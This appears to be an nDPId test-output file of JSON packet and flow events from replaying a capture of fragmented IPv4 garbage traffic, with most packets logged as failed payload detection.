+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45404,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45489,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45501,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45554,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":45580,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAnRnP0dSP0dS"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1534244028345,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":16243,"dst_port":21055,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345706,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAj9zUj83NDgzOTYpKComXiX\/oQAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345764,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345786,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345865,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345887,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345914,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345966,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":345990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346003,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346018,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 